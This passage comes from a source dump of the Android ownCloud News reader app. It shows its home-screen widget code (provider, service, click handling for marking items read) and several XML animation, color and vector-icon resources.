view\n            rv.setOnClickFillInIntent(R.id.cb_lv_item_read_wrapper, ei);\n\n            // Get a fresh new intent\n            Intent iCheck = new Intent();\n            iCheck.putExtra(WidgetProvider.ACTION_CHECKED_CLICK, true);\n            iCheck.putExtras(mBundle);\n            rv.setOnClickFillInIntent(R.id.cb_lv_item_read, iCheck);\n        } catch(Exception ex) {\n            Log.e(TAG, \"Error while getting view for widget at position: \" + position, ex);\n        }\n\n        // Return the RemoteViews object.\n        return rv;\n    }\n\n\t@Override\n\tpublic RemoteViews getLoadingView() {\n        if (Constants.debugModeWidget) {\n            Log.v(TAG, \"getLoadingView\");\n        }\n\t\treturn(null);\n\t}\n\n\t@Override\n\tpublic int getViewTypeCount() {\n\t\treturn(1);\n\t}\n\n\t@Override\n\tpublic long getItemId(int position) {\n        // if(Constants.debugModeWidget) {\n        //     Log.v(TAG, \"getItemId: \" + position);\n        // }\n\t\treturn(position);\n\t}\n\n\t@Override\n\tpublic boolean hasStableIds() {\n        if (Constants.debugModeWidget) {\n            Log.v(TAG, \"hasStableIds: \" + appWidgetId);\n        }\n\t\treturn(true);\n\t}\n\n\t@Override\n\tpublic void onDataSetChanged() {\n        if (Constants.debugModeWidget) {\n            Log.v(TAG, \"DataSetChanged - WidgetID: \" + appWidgetId);\n        }\n\n        if (rssItems != null && !rssItems.isClosed()) {\n            rssItems.close();\n        }\n        rssItems = dbConn.getAllUnreadRssItemsForWidget();\n\n        Log.v(TAG, \"DataSetChanged finished!\");\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/widget/WidgetProvider.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.widget;\n\nimport android.app.PendingIntent;\nimport android.appwidget.AppWidgetManager;\nimport android.appwidget.AppWidgetProvider;\nimport android.content.ComponentName;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.widget.RemoteViews;\n\nimport androidx.core.app.PendingIntentCompat;\n\nimport java.util.Arrays;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.Constants;\nimport de.luhmer.owncloudnewsreader.NewsDetailActivity;\nimport de.luhmer.owncloudnewsreader.NewsReaderApplication;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\n\npublic class WidgetProvider extends AppWidgetProvider {\n\n\t//private static final String ACTION_CLICK = \"ACTION_CLICK\";\n    \n    public static final String ACTION_WIDGET_CONFIGURE = \"ConfigureWidget\";\n    public static final String ACTION_WIDGET_RECEIVER = \"ActionReceiverWidget\";\n    public static final String ACTION_LIST_CLICK = \"ACTION_LIST_CLICK\";\n    public static final String ACTION_CHECKED_CLICK = \"ACTION_CHECKED_CLICK\";\n    public static final String RSS_ITEM_ID = \"RSS_ITEM_ID\";\n    \n    public static final String EXTRA_ITEM = null;\n\tprivate static final String TAG = \"WidgetProvider\";\n\n\tprotected @Inject SharedPreferences mPrefs;\n\n\n    public static void UpdateWidget(Context context) {\n        int[] ids = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, WidgetProvider.class));\n\n        for(int appWidgetId : ids) {\n            AppWidgetManager.getInstance(context).notifyAppWidgetViewDataChanged(appWidgetId, R.id.list_view);\n        }\n\n        /*\n        Intent intent = new Intent(context, WidgetProvider.class);\n        intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);\n        // Use an array and EXTRA_APPWIDGET_IDS instead of AppWidgetManager.EXTRA_APPWIDGET_ID,\n        // since it seems the onUpdate() is only fired on that:\n\n        int ids[] = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, WidgetProvider.class));\n        intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS,ids);\n        intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID,ids);\n        context.sendBroadcast(intent);\n        */\n    }\n\n    @Override\n    public void onReceive(Context context, Intent intent) {\n        inject(context);\n\n    \tfinal int[] appWidgetId;\n        if(intent.hasExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS))\n            appWidgetId = intent.getIntArrayExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS);\n    \telse if(intent.hasExtra(AppWidgetManager.EXTRA_APPWIDGET_ID))\n    \t\tappWidgetId = new int[] { intent.getIntExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, AppWidgetManager.INVALID_APPWIDGET_ID) };\n    \telse\n    \t\tappWidgetId = new int[] { AppWidgetManager.INVALID_APPWIDGET_ID };\n\n        String action = intent.getAction();\n\n        Log.v(TAG, \"onRecieve - WidgetID: \" + Arrays.toString(appWidgetId) + \" - \" + action);\n\n        for (int anAppWidgetId : appWidgetId) {\n            if (AppWidgetManager.ACTION_APPWIDGET_DELETED.equals(action)) {\n                if (anAppWidgetId != AppWidgetManager.INVALID_APPWIDGET_ID) {\n                    this.onDeleted(context, new int[]{anAppWidgetId});\n                }\n            } /*else if (intent.getAction().equals(ACTION_WIDGET_RECEIVER)) {\n\n                Intent intentRefresh = new Intent(context, WidgetProvider.class);\n                intentRefresh.setAction(\"android.appwidget.action.APPWIDGET_UPDATE\");\n                // Use an array and EXTRA_APPWIDGET_IDS instead of AppWidgetManager.EXTRA_APPWIDGET_ID,\n                // since it seems the onUpdate() is only fired on that:\n                intentRefresh.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, new int[] { appWidgetId[i] });\n                context.sendBroadcast(intentRefresh);\n\n            } */ else if (action.equals(ACTION_LIST_CLICK)) {\n                try {\n                    Bundle bundle = intent.getExtras();\n                    if (bundle != null) {\n                        for (String key : bundle.keySet()) {\n                            Log.e(TAG, key + \": \" + (bundle.get(key) != null ? bundle.get(key) : \"NULL\"));\n                        }\n                    }\n\n                    long rssItemId = intent.getExtras().getLong(RSS_ITEM_ID, -1);\n\n                    if (intent.hasExtra(ACTION_CHECKED_CLICK)) {\n                        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n                        RssItem rssItem = dbConn.getRssItemById(rssItemId);\n                        rssItem.setRead_temp(!rssItem.getRead_temp());\n                        //rssItem.setRead_temp(true);\n\n                        AppWidgetManager.getInstance(context)\n                                .notifyAppWidgetViewDataChanged(anAppWidgetId, R.id.list_view);\n\n                        Log.v(TAG, \"I'm here!!! Widget update works!\");\n                    } else {\n                        //Intent intentToDoListAct = new Intent(context, TodoListActivity.class);\n                        Intent intentToDoListAct = new Intent(context, NewsDetailActivity.class);\n                        intentToDoListAct.putExtra(RSS_ITEM_ID, rssItemId);\n                        intentToDoListAct.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n                        context.startActivity(intentToDoListAct);\n                    }\n\n                    Log.v(TAG, \"ListItem Clicked Starting Activity for Item: \" + rssItemId);\n                } catch (Exception ex) {\n                    ex.printStackTrace();\n                }\n            } /*else if(action.equals(\"android.appwidget.action.APPWIDGET_UPDATE\") || action.equals(ACTION_WIDGET_RECEIVER)) {\n                onUpdate(context, AppWidgetManager.getInstance(context), new int[] { appWidgetId[i] });\n            }*/\n        }\n    \t\n        super.onReceive(context, intent);\n    }\n\t    \n\t@Override\n\tpublic void onDeleted(Context context, int[] appWidgetIds) {\n        inject(context);\n\n\t\tSharedPreferences.Editor mPrefsEditor = mPrefs.edit();\n\t\t\n\t\tfor(int appWidgetId : appWidgetIds)\t{\n\t\t\tmPrefsEditor.remove(\"widget_\" + appWidgetId);\n\t\t\t\n\t\t\tif(Constants.debugModeWidget)\n\t\t\t\tLog.d(TAG, \"DELETE WIDGET - WIDGET_ID: \" + appWidgetId);\n\t\t}\n\t\t\n\t\t/*\n\t\t//Delete All App Widgets\n\t\tfor(int appWidgetId = 0; appWidgetId < 1000; appWidgetId++)\t{\n\t\t\tmPrefsEditor.remove(\"widget_\" + appWidgetId);\n\t\t\t\n\t\t\tif(Constants.debugModeWidget)\n\t\t\t\tLog.d(TAG, \"DELETE WIDGET - WIDGET_ID: \" + appWidgetId);\n\t\t}*/\n\t\t\n\t\tmPrefsEditor.commit();\n\t\t\n\t\t\n\t\tsuper.onDeleted(context, appWidgetIds);\n\t}\n\n\t@Override\n    public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {\n        inject(context);\n\n    \tif(Constants.debugModeWidget)\n    \t\tLog.d(TAG, \"onUpdate\");\n    \t    \t\n        // update each of the app widgets with the remote adapter    \t\n        for (int appWidgetId : appWidgetIds) {\n        \tupdateAppWidget(context, appWidgetManager, appWidgetId);\n        \t//appWidgetManager.notifyAppWidgetViewDataChanged(appWidgetId, R.id.list_view);\n        }\n        \n        //int appWidgetIds[] = appWidgetManager.getAppWidgetIds(new ComponentName(context, WidgetProvider.class));\n        \n        super.onUpdate(context, appWidgetManager, appWidgetIds);\n    }\n    \n\tpublic static void updateAppWidget(Context context, AppWidgetManager appWidgetManager, int appWidgetId) {\n    \tRemoteViews rv = new RemoteViews(context.getPackageName(), R.layout.widget_layout);\n    \t\n    \tIntent intent = new Intent(context, WidgetService.class);\n\t\tintent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);\n\t\t//rv.setRemoteAdapter(appWidgetId, R.id.list_view, intent);\n        rv.setRemoteAdapter(R.id.list_view, intent);\n\t\t\n    \t\n        Intent onListClickIntent = new Intent(context, WidgetProvider.class);\n        onListClickIntent.setAction(ACTION_LIST_CLICK);\n        onListClickIntent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);\n        onListClickIntent.setData(Uri.parse(onListClickIntent.toUri(Intent.URI_INTENT_SCHEME)));    \n        \n        final PendingIntent onListClickPendingIntent = PendingIntentCompat.getBroadcast(\n                context,\n                0,\n                onListClickIntent,\n                PendingIntent.FLAG_UPDATE_CURRENT,\n                true\n        );\n        rv.setPendingIntentTemplate(R.id.list_view, onListClickPendingIntent);\n\n\n        /*\n        Intent intentWidget = new Intent(context, WidgetProvider.class);\n        PendingIntent pendingWidgetIntent = PendingIntent.getBroadcast(context, 0, intentWidget, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);\n        rv.setOnClickPendingIntent(R.id.cb_lv_item_read_wrapper, pendingWidgetIntent);\n        */\n\n\n        // Intent intentToDoListAct = new Intent(context, NewsReaderListActivity.class);\n        // PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intentToDoListAct, PendingIntent.FLAG_IMMUTABLE);\n        // rv.setOnClickPendingIntent(R.id.tV_widget_header, pendingIntent);\n\n\n        appWidgetManager.updateAppWidget(appWidgetId, rv);\n\n        if (Constants.debugModeWidget)\n            Log.d(TAG, \"updateAppWidget - WidgetID: \" + appWidgetId);\n    }\n\n    private void inject(Context context) {\n        ((NewsReaderApplication) context.getApplicationContext()).getAppComponent().injectWidget(this);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/widget/WidgetService.kt",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\npackage de.luhmer.owncloudnewsreader.widget\n\nimport android.content.Intent\nimport android.widget.RemoteViewsService\n\nclass WidgetService : RemoteViewsService() {\n    override fun onGetViewFactory(intent: Intent): RemoteViewsFactory =\n        WidgetNewsViewsFactory(this.applicationContext, intent)\n}\n"
  },
  {
    "path": "News-Android-App/src/main/res/anim/all_read_success.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <scale\n        android:interpolator=\"@android:anim/accelerate_interpolator\"\n        android:fromXScale=\"1.0\"\n        android:fromYScale=\"1.0\"\n        android:toXScale=\"4.0\"\n        android:toYScale=\"4.0\"\n        android:pivotX=\"100%\"\n        android:pivotY=\"0%\"\n        android:duration=\"300\" />\n    <alpha\n        android:fromAlpha=\"1.0\"\n        android:toAlpha=\"0.0\"\n        android:interpolator=\"@android:anim/accelerate_interpolator\"\n        android:duration=\"300\"\n        />\n</set>"
  },
  {
    "path": "News-Android-App/src/main/res/anim/slide_in_left.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Copyright 2015 Google Inc. All Rights Reserved.\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n\n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n-->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <translate android:fromXDelta=\"-100%p\" android:toXDelta=\"0\"\n        android:duration=\"@android:integer/config_mediumAnimTime\"/>\n</set>\n"
  },
  {
    "path": "News-Android-App/src/main/res/anim/slide_in_right.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Copyright 2015 Google Inc. All Rights Reserved.\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n\n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n-->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <translate android:fromXDelta=\"100%p\" android:toXDelta=\"0\"\n        android:duration=\"@android:integer/config_mediumAnimTime\"/>\n</set>\n"
  },
  {
    "path": "News-Android-App/src/main/res/anim/slide_out_left.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Copyright 2015 Google Inc. All Rights Reserved.\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n\n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n-->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <translate android:fromXDelta=\"0\" android:toXDelta=\"-100%p\"\n        android:duration=\"@android:integer/config_mediumAnimTime\"/>\n</set>\n"
  },
  {
    "path": "News-Android-App/src/main/res/anim/slide_out_right.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Copyright 2015 Google Inc. All Rights Reserved.\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n\n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n-->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <translate android:fromXDelta=\"0\" android:toXDelta=\"100%p\"\n        android:duration=\"@android:integer/config_mediumAnimTime\"/>\n</set>\n"
  },
  {
    "path": "News-Android-App/src/main/res/color/options_menu_item.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item android:state_enabled=\"false\" android:color=\"#BDBDBD\" />\n    <item android:color=\"#212121\"/>\n</selector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/color/options_menu_item_night.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item android:state_enabled=\"false\" android:color=\"#BDBDBD\" />\n    <item android:color=\"#F5F5F5\"/>\n</selector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/background_with_shadow.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n    <item>\n        <shape android:shape=\"rectangle\">\n            <gradient\n                android:startColor=\"#ffbfbfbf\"\n                android:endColor=\"#FFFFFFFF\"\n                android:angle=\"270\"/>\n        </shape>\n    </item>\n\n\n</layer-list>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/checkbox_background_holo_dark.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n\t<item android:state_checked=\"false\" android:drawable=\"@drawable/ic_star_border_24dp_theme_aware\" />\n    <item android:state_checked=\"true\" android:drawable=\"@drawable/ic_star_white_24\" />\n\n</selector>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/cursor.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<shape xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:shape=\"rectangle\" >\n    <solid android:color=\"#ffffff\" />\n    <size android:width=\"2dp\" />\n</shape>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/custom_progress.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layer-list xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <item android:id=\"@android:id/background\">\n        <shape\n            android:innerRadiusRatio=\"2.3\"\n            android:shape=\"ring\"\n            android:useLevel=\"false\"\n            android:type=\"sweep\"\n            android:thicknessRatio=\"15.0\">\n            <solid android:color=\"#00000000\"/>\n        </shape>\n    </item>\n    <item android:id=\"@android:id/progress\">\n        <rotate\n            android:pivotX=\"50%\"\n            android:pivotY=\"50%\"\n            android:fromDegrees=\"-90\"\n            android:toDegrees=\"-90\">\n            <shape\n                android:innerRadiusRatio=\"2.3\"\n                android:shape=\"ring\"\n                android:useLevel=\"true\"\n                android:angle=\"0\"\n                android:type=\"sweep\"\n                android:thicknessRatio=\"15.0\">\n                <solid android:color=\"@color/colorPrimary\"/>\n            </shape>\n        </rotate>\n    </item>\n</layer-list>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/fa_all_read_target.xml",
    "content": "<animated-vector xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:aapt=\"http://schemas.android.com/aapt\"\n    tools:targetApi=\"lollipop\">\n  <aapt:attr name=\"android:drawable\">\n    <vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:width=\"128dp\"\n        android:height=\"128dp\"\n        android:viewportWidth=\"128\"\n        android:viewportHeight=\"128\">\n\n      <group\n          android:name=\"scaleGroup\"\n          android:pivotX=\"64\"\n          android:pivotY=\"64\"\n          android:scaleX=\"0.5\"\n          android:scaleY=\"0.5\"\n          >\n        <path\n            android:pathData=\"M64.001,64m-60,0a60,60 0,1 1,119.999 0a60,60 0,1 1,-119.999 0\"\n            android:strokeWidth=\"6\"\n            android:fillColor=\"#00000000\"\n            android:strokeColor=\"?attr/colorPrimaryContainer\"/>\n      </group>\n      <path\n          android:pathData=\"M64,64m-26.25,0a26.25,26.25 0,1 1,52.5 0a26.25,26.25 0,1 1,-52.5 0\"\n          android:fillColor=\"?attr/colorPrimaryContainer\"\n          />\n      <path\n          android:pathData=\"M68.969,58.656C68.603,58.291 68.012,58.291 67.647,58.656L62.359,63.944L63.681,65.266L68.969,59.969C69.325,59.612 69.325,59.013 68.969,58.656ZM72.944,58.647L63.681,67.909L60.419,64.656C60.053,64.291 59.463,64.291 59.097,64.656C58.731,65.022 58.731,65.613 59.097,65.978L63.016,69.897C63.381,70.262 63.972,70.262 64.338,69.897L74.266,59.978C74.631,59.612 74.631,59.022 74.266,58.656L74.256,58.656C73.9,58.281 73.309,58.281 72.944,58.647ZM53.8,65.988L57.719,69.906C58.084,70.272 58.675,70.272 59.041,69.906L59.697,69.25L55.122,64.656C54.756,64.291 54.166,64.291 53.8,64.656C53.434,65.022 53.434,65.622 53.8,65.988Z\"\n          android:fillColor=\"?attr/colorOnPrimaryContainer\"\n          android:fillType=\"nonZero\"/>\n    </vector>\n  </aapt:attr>\n\n  <target android:name=\"scaleGroup\">\n    <aapt:attr name=\"android:animation\">\n      <set>\n        <objectAnimator\n            android:duration=\"1000\"\n            android:propertyName=\"scaleY\"\n            android:repeatCount=\"infinite\"\n            android:repeatMode=\"restart\"\n            android:valueFrom=\"1.0\"\n            android:valueTo=\"0.5\" />\n        <objectAnimator\n            android:duration=\"1000\"\n            android:propertyName=\"scaleX\"\n            android:repeatCount=\"infinite\"\n            android:repeatMode=\"restart\"\n            android:valueFrom=\"1.0\"\n            android:valueTo=\"0.5\" />\n        </set>\n    </aapt:attr>\n  </target>\n</animated-vector>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/fa_all_read_target_success.xml",
    "content": "<animated-vector xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:aapt=\"http://schemas.android.com/aapt\"\n    tools:targetApi=\"lollipop\">\n  <aapt:attr name=\"android:drawable\">\n    <vector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:width=\"128dp\"\n        android:height=\"128dp\"\n        android:viewportWidth=\"128\"\n        android:viewportHeight=\"128\">\n\n      <group\n          android:name=\"scaleGroup\"\n          android:pivotX=\"64\"\n          android:pivotY=\"64\"\n          android:scaleX=\"0.5\"\n          android:scaleY=\"0.5\"\n          >\n        <path\n            android:pathData=\"M64.001,64m-60,0a60,60 0,1 1,119.999 0a60,60 0,1 1,-119.999 0\"\n            android:strokeWidth=\"6\"\n            android:fillColor=\"#00000000\"\n            android:strokeColor=\"#007C1F\"/>\n      </group>\n      <path\n          android:pathData=\"M64,64m-26.25,0a26.25,26.25 0,1 1,52.5 0a26.25,26.25 0,1 1,-52.5 0\"\n          android:fillColor=\"#007C1F\"\n          />\n      <path\n          android:pathData=\"M68.969,58.656C68.603,58.291 68.012,58.291 67.647,58.656L62.359,63.944L63.681,65.266L68.969,59.969C69.325,59.612 69.325,59.013 68.969,58.656ZM72.944,58.647L63.681,67.909L60.419,64.656C60.053,64.291 59.463,64.291 59.097,64.656C58.731,65.022 58.731,65.613 59.097,65.978L63.016,69.897C63.381,70.262 63.972,70.262 64.338,69.897L74.266,59.978C74.631,59.612 74.631,59.022 74.266,58.656L74.256,58.656C73.9,58.281 73.309,58.281 72.944,58.647ZM53.8,65.988L57.719,69.906C58.084,70.272 58.675,70.272 59.041,69.906L59.697,69.25L55.122,64.656C54.756,64.291 54.166,64.291 53.8,64.656C53.434,65.022 53.434,65.622 53.8,65.988Z\"\n          android:fillColor=\"#ffffff\"\n          android:fillType=\"nonZero\"/>\n    </vector>\n  </aapt:attr>\n\n  <target android:name=\"scaleGroup\"> *\n    <aapt:attr name=\"android:animation\">\n      <set>\n        <objectAnimator\n            android:duration=\"1000\"\n            android:propertyName=\"scaleY\"\n            android:repeatCount=\"infinite\"\n            android:repeatMode=\"restart\"\n            android:valueFrom=\"0.5\"\n            android:valueTo=\"1.0\" />\n        <objectAnimator\n            android:duration=\"1000\"\n            android:propertyName=\"scaleX\"\n            android:repeatCount=\"infinite\"\n            android:repeatMode=\"restart\"\n            android:valueFrom=\"0.5\"\n            android:valueTo=\"1.0\" />\n        </set>\n    </aapt:attr>\n  </target>\n</animated-vector>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/fa_bg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<shape\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:tint=\"?attr/colorPrimaryContainer\">\n    <solid android:color=\"@color/nextcloudBlue\" />\n    <corners android:radius=\"16dp\" />\n</shape>"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/feed_icon.xml",
    "content": "<vector android:height=\"24dp\" android:viewportHeight=\"96\"\n    android:viewportWidth=\"96\" android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@color/material_grey_600\"\n        android:pathData=\"M4,13.2l0,9.5 7.8,0.6c19.3,1.3 39.6,13.8 50.7,31.1 5.4,8.5 9.6,20.6 10.2,29.8l0.6,7.8 9.3,-0c10.9,-0 10.2,1.2 8,-13.5 -2.7,-17.8 -10.1,-33.5 -22,-46.2 -15.3,-16.5 -34,-25.4 -57.8,-27.9l-6.8,-0.6 0,9.4z\" android:strokeColor=\"#00000000\"/>\n    <path android:fillColor=\"@color/material_grey_600\"\n        android:pathData=\"M4,41.9l0,8.8 6.6,1.2c9.3,1.7 17.1,5.9 23.1,12.5 6,6.5 8.8,12.2 10.4,21l1.2,6.6 8.9,-0 8.9,-0 -0.6,-4.8c-2.1,-16.3 -6.9,-26.7 -17.1,-36.8 -10,-10.1 -21.4,-15.3 -36.6,-16.7l-4.8,-0.5 0,8.7z\" android:strokeColor=\"#00000000\"/>\n    <path android:fillColor=\"@color/material_grey_600\"\n        android:pathData=\"M10.2,69c-6.6,4.1 -7.8,13.5 -2.4,19 8.2,8.2 22,1.6 20.9,-9.9 -1,-8.9 -10.9,-13.9 -18.5,-9.1z\" android:strokeColor=\"#00000000\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_delete_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#000000\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2V7H6v12zM19,4h-3.5l-1,-1h-5l-1,1H5v2h14V4z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_delete_24_theme_aware.xml",
    "content": "<vector android:height=\"24dp\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:tint=\"?attr/colorControlNormal\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2V7H6v12zM19,4h-3.5l-1,-1h-5l-1,1H5v2h14V4z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_download_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#000000\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M5,20h14v-2H5V20zM19,9h-4V3H9v6H5l7,7L19,9z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_expand_less_24.xml",
    "content": "<vector android:height=\"24dp\" android:tint=\"#000000\"\n    android:viewportHeight=\"24\" android:viewportWidth=\"24\"\n    android:width=\"24dp\" xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M12,8l-6,6 1.41,1.41L12,10.83l4.59,4.58L18,14z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_open_in_browser_24.xml",
    "content": "<vector\n    android:height=\"24dp\"\n    android:width=\"24dp\"\nandroid:viewportHeight=\"24\"\n    android:viewportWidth=\"24\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <path android:fillColor=\"@android:color/white\" android:pathData=\"M19,4L5,4c-1.11,0 -2,0.9 -2,2v12c0,1.1 0.89,2 2,2h4v-2L5,18L5,8h14v10h-4v2h4c1.1,0 2,-0.9 2,-2L21,6c0,-1.1 -0.89,-2 -2,-2zM12,10l-4,4h3v6h2v-6h3l-4,-4z\"/>\n</vector>\n"
  },
  {
    "path": "News-Android-App/src/main/res/drawable/ic_action_open_in_browser_24_theme_aware.xml",
